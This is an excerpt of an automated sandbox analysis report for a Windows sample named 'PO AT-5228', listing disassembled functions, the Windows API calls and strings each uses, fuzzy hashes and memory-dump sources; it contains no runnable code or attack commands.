Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageSend$DestroyWindow
String ID: msctls_updown32
API String ID: 4014797782-2298589950
Opcode ID: 6e41db5a7ed9a5f81b298f09338762bbc0704e97dbaffe528197d404e35d067b
Instruction ID: e13db30b1f2da6675db0bae0c085a8e35a79db2a508798366b7ed0c1f33162f0
Opcode Fuzzy Hash: 6e41db5a7ed9a5f81b298f09338762bbc0704e97dbaffe528197d404e35d067b
Instruction Fuzzy Hash: A92183B5600209AFDB10DF54CCC6E6B37EDEB5A3A8B050199FA149B251CA70EC11CB61

Function 00BC99A5 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000180,00000000,?), ref: 00BC9A30
SendMessageW.USER32(?,00000186,00000000,00000000), ref: 00BC9A40
MoveWindow.USER32(?,?,?,?,?,00000000,?,?,Listbox,00000000,00000000,?,?,?,?,?), ref: 00BC9A65

Strings

Listbox, xrefs: 00BC99FD

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageSend$MoveWindow
String ID: Listbox
API String ID: 3315199576-2633736733
Opcode ID: defec13a73a8516cf1c25c505eec5ee1104c53d71646e0698e8d823d7f314d82
Instruction ID: c2a3d0b45dbdd868ff259d6505b042141250d89d323729dafe7476fa1f93e11e
Opcode Fuzzy Hash: defec13a73a8516cf1c25c505eec5ee1104c53d71646e0698e8d823d7f314d82
Instruction Fuzzy Hash: CA219532610118BFEF258F54CC89FBF3BAAEF89760F018169F9545B190C6B19C5197A0

Function 00BCA409 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 00BCA46D
SendMessageW.USER32(?,00000406,00000000,00640000), ref: 00BCA482
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00BCA48F

Strings

msctls_trackbar32, xrefs: 00BCA444

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: MessageSend
String ID: msctls_trackbar32
API String ID: 3850602802-1010561917
Opcode ID: 65413784ae1909880c6c634e3eca7ce059e530145a70118bff864c2be5fef852
Instruction ID: d500929476714494aa52fc86e63ccc2254c4999b8a7ee8ab37889603acda7c65
Opcode Fuzzy Hash: 65413784ae1909880c6c634e3eca7ce059e530145a70118bff864c2be5fef852
Instruction Fuzzy Hash: 2511E771200208BEEF245F65CC45FAB3BA9EF89768F01411CFA55A6191D6B1E811D720

Function 00B82287 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 24libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoInitialize,00B82350,?), ref: 00B822A1
GetProcAddress.KERNEL32(00000000), ref: 00B822A8

Strings

RoInitialize, xrefs: 00B82290
combase.dll, xrefs: 00B8229C

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RoInitialize$combase.dll
API String ID: 2574300362-340411864
Opcode ID: 40ab9becb1ccc6a4786a76e87dfc54ab97f1b05da9cc69e79369eea677539793
Instruction ID: 43c88f65a4f4d692dbd9377b32f07bbbb3c10d5b6620ed89ce1856795dd85cd8
Opcode Fuzzy Hash: 40ab9becb1ccc6a4786a76e87dfc54ab97f1b05da9cc69e79369eea677539793
Instruction Fuzzy Hash: F5E04F70AA0340ABDB206F71ED8DB5C36A4B705702F204069F202D64F1CBF48091CF04

Function 00B8235C Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 19libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(combase.dll,00000000,00000800,RoUninitialize,00B82276), ref: 00B82376
GetProcAddress.KERNEL32(00000000), ref: 00B8237D

Strings

RoUninitialize, xrefs: 00B82365
combase.dll, xrefs: 00B82371

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RoUninitialize$combase.dll
API String ID: 2574300362-2819208100
Opcode ID: 3695c35f68929ad3f67f2ba1748a74001809fcaa3e297a720e5de76f85d7068e
Instruction ID: 6371cf483fbec48c4e10ca2ecfcdeb50c979456ea1e32941108fff869771a1f8
Opcode Fuzzy Hash: 3695c35f68929ad3f67f2ba1748a74001809fcaa3e297a720e5de76f85d7068e
Instruction Fuzzy Hash: 2BE0B670555340AFDB306F62ED4EB0C3AA4B705702F214465F20BE64B1CBF89421DB15

Function 00BDAC59 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 17timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00BDAC60
__swprintf.LIBCMT ref: 00BDAC94

Strings

WIN_XPe, xrefs: 00BDACD3
%.3d, xrefs: 00BDAC6E

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: LocalTime__swprintf
String ID: %.3d$WIN_XPe
API String ID: 2070861257-2409531811
Opcode ID: eb130616dfacabcb191d1368310612175163b308754f33730a214704a0dce3d1
Instruction ID: 514b62092220b529de9b7eb957332bddb1717732a2d7f7f8e6b81323ee82ac29
Opcode Fuzzy Hash: eb130616dfacabcb191d1368310612175163b308754f33730a214704a0dce3d1
Instruction Fuzzy Hash: 75E012B1814618EBCB149750CD85DFAF3FCEB08751F1844D3BA0AA2210F6359BC4EB12

Function 00B642F6 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000000,00B642EC,?,00B642AA,?), ref: 00B64304
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00B64316

Strings

kernel32.dll, xrefs: 00B642FF
Wow64RevertWow64FsRedirection, xrefs: 00B64310

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 2574300362-1355242751
Opcode ID: 5947f88cf23330122b9bd61479ac2045f2492b064506eeecfe5659b429703dce
Instruction ID: ffdae19753ea987498cae104ed57e7d09bc78b80e60bd10b8dc2029c72e2a6b6
Opcode Fuzzy Hash: 5947f88cf23330122b9bd61479ac2045f2492b064506eeecfe5659b429703dce
Instruction Fuzzy Hash: B9D0A934900B12AFC7204F20E84C7827AE8EF06312F00847EE882E3260EBF4C8C08B10

Function 00BC2205 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00BC21FB,?,00BC23EF), ref: 00BC2213
GetProcAddress.KERNEL32(00000000,GetProcessId), ref: 00BC2225

Strings

kernel32.dll, xrefs: 00BC220E
GetProcessId, xrefs: 00BC221F

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetProcessId$kernel32.dll
API String ID: 2574300362-399901964
Opcode ID: 18091c2dcbf2e06b1f463ba6f733b372a58b3f0af5b2a4b2a57541a68dbf66d3
Instruction ID: 799c3ab109bf726e54e96c18f65690abaf8ee4435da08c44b21db51625a9c484
Opcode Fuzzy Hash: 18091c2dcbf2e06b1f463ba6f733b372a58b3f0af5b2a4b2a57541a68dbf66d3
Instruction Fuzzy Hash: 59D0A7385007129FC7214F30F848B4176E5EF06712B00447DE841F7150DBB0D8C09750

Function 00B6434B Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00B641BB,00B64341,?,00B6422F,?,00B641BB,?,?,?,?,00B639FE,?,00000001), ref: 00B64359
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00B6436B

Strings

kernel32.dll, xrefs: 00B64354
Wow64DisableWow64FsRedirection, xrefs: 00B64365

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 2574300362-3689287502
Opcode ID: f3d56e63b754b97e114cb5b5c6f0829febddd1b0865f84ff5ab9f1f8a287daf2
Instruction ID: d0d94883b5f95a11c68a5cdd14910419d3f48199ce42cc9be0bebec6a8479a6c
Opcode Fuzzy Hash: f3d56e63b754b97e114cb5b5c6f0829febddd1b0865f84ff5ab9f1f8a287daf2
Instruction Fuzzy Hash: 43D05234900B12AEC7204B30A8486827AE8EB2171AB00847AE882E2250EBB4D8808A14

Function 00BA0539 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(oleaut32.dll,?,00BA051D,?,00BA05FE), ref: 00BA0547
GetProcAddress.KERNEL32(00000000,RegisterTypeLibForUser), ref: 00BA0559

Strings

oleaut32.dll, xrefs: 00BA0542
RegisterTypeLibForUser, xrefs: 00BA0553

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegisterTypeLibForUser$oleaut32.dll
API String ID: 2574300362-1071820185
Opcode ID: 05eecd73a51fed28ca4973872898d40c8ed95db067c0e5efa345e4d6b8bc20f1
Instruction ID: 4a95168cfd2f8f6977cf4bc926dabc2dbd51a0722830bed6e55bcf143d5efb4e
Opcode Fuzzy Hash: 05eecd73a51fed28ca4973872898d40c8ed95db067c0e5efa345e4d6b8bc20f1
Instruction Fuzzy Hash: 56D0C7749647229FDB209F65E888741B6E4EB16711F14C46DE456E3150DAB0C8C19B51

Function 00BA0564 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(oleaut32.dll,00000000,00BA052F,?,00BA06D7), ref: 00BA0572
GetProcAddress.KERNEL32(00000000,UnRegisterTypeLibForUser), ref: 00BA0584

Strings

oleaut32.dll, xrefs: 00BA056D
UnRegisterTypeLibForUser, xrefs: 00BA057E

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: UnRegisterTypeLibForUser$oleaut32.dll
API String ID: 2574300362-1587604923
Opcode ID: b7227a4cd7ca7dd934cd88a0775f7ca626614d2bd37604d6798142df77004bf9
Instruction ID: 5a0af59e406b0ce875a04f0554938e99d57c3cacf00b517a88bdb1cb947c5f24
Opcode Fuzzy Hash: b7227a4cd7ca7dd934cd88a0775f7ca626614d2bd37604d6798142df77004bf9
Instruction Fuzzy Hash: C0D0A7349183229FC7206FB0E888B4277E4EB16300F10846DE881E3150DBB0C4C49F20

Function 00BBECC8 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,00BBECBE,?,00BBEBBB), ref: 00BBECD6
GetProcAddress.KERNEL32(00000000,GetSystemWow64DirectoryW), ref: 00BBECE8

Strings

kernel32.dll, xrefs: 00BBECD1
GetSystemWow64DirectoryW, xrefs: 00BBECE2

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetSystemWow64DirectoryW$kernel32.dll
API String ID: 2574300362-1816364905
Opcode ID: f5f59698099b171ea82398e34a9b3e02b5892235d88b10bdd6e64bf8a73ce5cb
Instruction ID: f95ab98a8b8d33ba0170aff164c50bbc3cb6cf8a28fc2b564dbf544e822e04f3
Opcode Fuzzy Hash: f5f59698099b171ea82398e34a9b3e02b5892235d88b10bdd6e64bf8a73ce5cb
Instruction Fuzzy Hash: D0D0A7345007239FCB205F60E8887D27AE4EF05301B00846DF855E7160DFF0C8C49750

Function 00BBBADD Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,00000000,00BBBAD3,00000001,00BBB6EE,?,00BFDC00), ref: 00BBBAEB
GetProcAddress.KERNEL32(00000000,GetModuleHandleExW), ref: 00BBBAFD

Strings

kernel32.dll, xrefs: 00BBBAE6
GetModuleHandleExW, xrefs: 00BBBAF7

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: GetModuleHandleExW$kernel32.dll
API String ID: 2574300362-199464113
Opcode ID: 575a9f451959cffbb35d4bba3e60ecd10450a14b99a6b34ac16bd826cfbec13f
Instruction ID: 16ba20facf355603fc8a4dfa1a199ff6dd4364db1d8bd09177b6e6ede0cbd586
Opcode Fuzzy Hash: 575a9f451959cffbb35d4bba3e60ecd10450a14b99a6b34ac16bd826cfbec13f
Instruction Fuzzy Hash: 36D092789007129FDB349F65A888BA276E8EB05751B10846EA897A2254EBF0D880CA51

Function 00BC3BDB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(advapi32.dll,?,00BC3BD1,?,00BC3E06), ref: 00BC3BE9
GetProcAddress.KERNEL32(00000000,RegDeleteKeyExW), ref: 00BC3BFB

Strings

RegDeleteKeyExW, xrefs: 00BC3BF5
advapi32.dll, xrefs: 00BC3BE4

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: RegDeleteKeyExW$advapi32.dll
API String ID: 2574300362-4033151799
Opcode ID: d531d93e78874d3982d83edddb06e9086317ee9c4a989ef24df03d9dc39e0433
Instruction ID: d1f9d2170ad23a32f310759bf5600fb6f00cc393601746650fcb03d301a1e405
Opcode Fuzzy Hash: d531d93e78874d3982d83edddb06e9086317ee9c4a989ef24df03d9dc39e0433
Instruction Fuzzy Hash: 4DD0A7705007529FC7205F60E848B47BAF4EB02718B10846DF445F3250DAF4C4C08F10

Function 00B99B30 Relevance: 6.3, APIs: 4, Instructions: 306COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3487a5c5d26573959ebe7c17e130244cf0f3381e6d290567af407bdc0e495750
Instruction ID: 4228bc4110ae1db83ed8b4397404c0741d07fa34717fb569e1bc9114c556cb51
Opcode Fuzzy Hash: 3487a5c5d26573959ebe7c17e130244cf0f3381e6d290567af407bdc0e495750
Instruction Fuzzy Hash: 03C12B75A0021AEFDF54DF98C884AAEB7F5FF48700F1085ACE905AB251D7319E81DB90

Function 00BBAA84 Relevance: 6.3, APIs: 4, Instructions: 268COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 00BBAAB4
CoUninitialize.OLE32 ref: 00BBAABF

Part of subcall function 00BA0213: CoCreateInstance.OLE32(?,00000000,00000005,?,?,?,?,?,?,?,?,?,?,?), ref: 00BA027B

VariantInit.OLEAUT32(?), ref: 00BBAACA
VariantClear.OLEAUT32(?), ref: 00BBAD9D

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Variant$ClearCreateInitInitializeInstanceUninitialize
String ID:
API String ID: 780911581-0
Opcode ID: 54923b5ebf5e46bbe327bb0d14bce105b76acf9da20930c562a5b9443e6edc65
Instruction ID: e1694680ef93b043cf988cf8bc5aac367bad8908d8f3e6d29db96f94bd694a76
Opcode Fuzzy Hash: 54923b5ebf5e46bbe327bb0d14bce105b76acf9da20930c562a5b9443e6edc65
Instruction Fuzzy Hash: E8A14B356047019FDB10DF18C891B6AB7E5FF88710F148499F99A9B3A2CB74ED44CB86

Function 00B991CC Relevance: 6.2, APIs: 4, Instructions: 201memoryCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00B991DD
SysAllocString.OLEAUT32(?), ref: 00B99286
VariantCopy.OLEAUT32 ref: 00B992B5
VariantClear.OLEAUT32(?), ref: 00B992DC

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: Variant$AllocClearCopyInitString
String ID:
API String ID: 2808897238-0
Opcode ID: dcd2736a5abd28649f6e8d68555cf1ec69bab5ec69b0f9b1b742196a08b9ef2d
Instruction ID: 282bdbed43d2e948570a7a117c072a6702be15224bd68692a795961ab12be974
Opcode Fuzzy Hash: dcd2736a5abd28649f6e8d68555cf1ec69bab5ec69b0f9b1b742196a08b9ef2d
Instruction Fuzzy Hash: 43518230608306ABDFA49F6DD4D1A2EB7E5EF55310B24C8BFE55ACB2D1DB7498808709

Function 00BAC396 Relevance: 6.2, APIs: 4, Instructions: 154COMMON

Download Yara Rule

APIs

Part of subcall function 00B64517: _fseek.LIBCMT ref: 00B6452F

Part of subcall function 00BAC56D: _wcscmp.LIBCMT ref: 00BAC65D
Part of subcall function 00BAC56D: _wcscmp.LIBCMT ref: 00BAC670

_free.LIBCMT ref: 00BAC4DD
_free.LIBCMT ref: 00BAC4E4
_free.LIBCMT ref: 00BAC54F

Part of subcall function 00B81C9D: RtlFreeHeap.NTDLL(00000000,00000000,?,00B87A85), ref: 00B81CB1
Part of subcall function 00B81C9D: GetLastError.KERNEL32(00000000,?,00B87A85), ref: 00B81CC3

_free.LIBCMT ref: 00BAC557

Memory Dump Source

Source File: 00000000.00000002.1690919363.0000000000B61000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B60000, based on PE: true

Associated: 00000000.00000002.1690319384.0000000000B60000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000BED000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691386548.0000000000C0E000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1691890939.0000000000C1A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1692282558.0000000000C24000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b60000_PO AT-5228.jbxd

Similarity

API ID: _free$_wcscmp$ErrorFreeHeapLast_fseek
String ID:
API String ID: 1552873950-0
Opcode ID: 0291d278fd3c0ee10044b808818b9d6c21fdc9175ee32bef741d63fe6815c47f
Instruction ID: 56f34d0ced4a4fe6086e913f59f60c9aa3312c1205c603ff0b394a6916a766d1
Opcode Fuzzy Hash: 0291d278fd3c0ee10044b808818b9d6c21fdc9175ee32bef741d63fe6815c47f
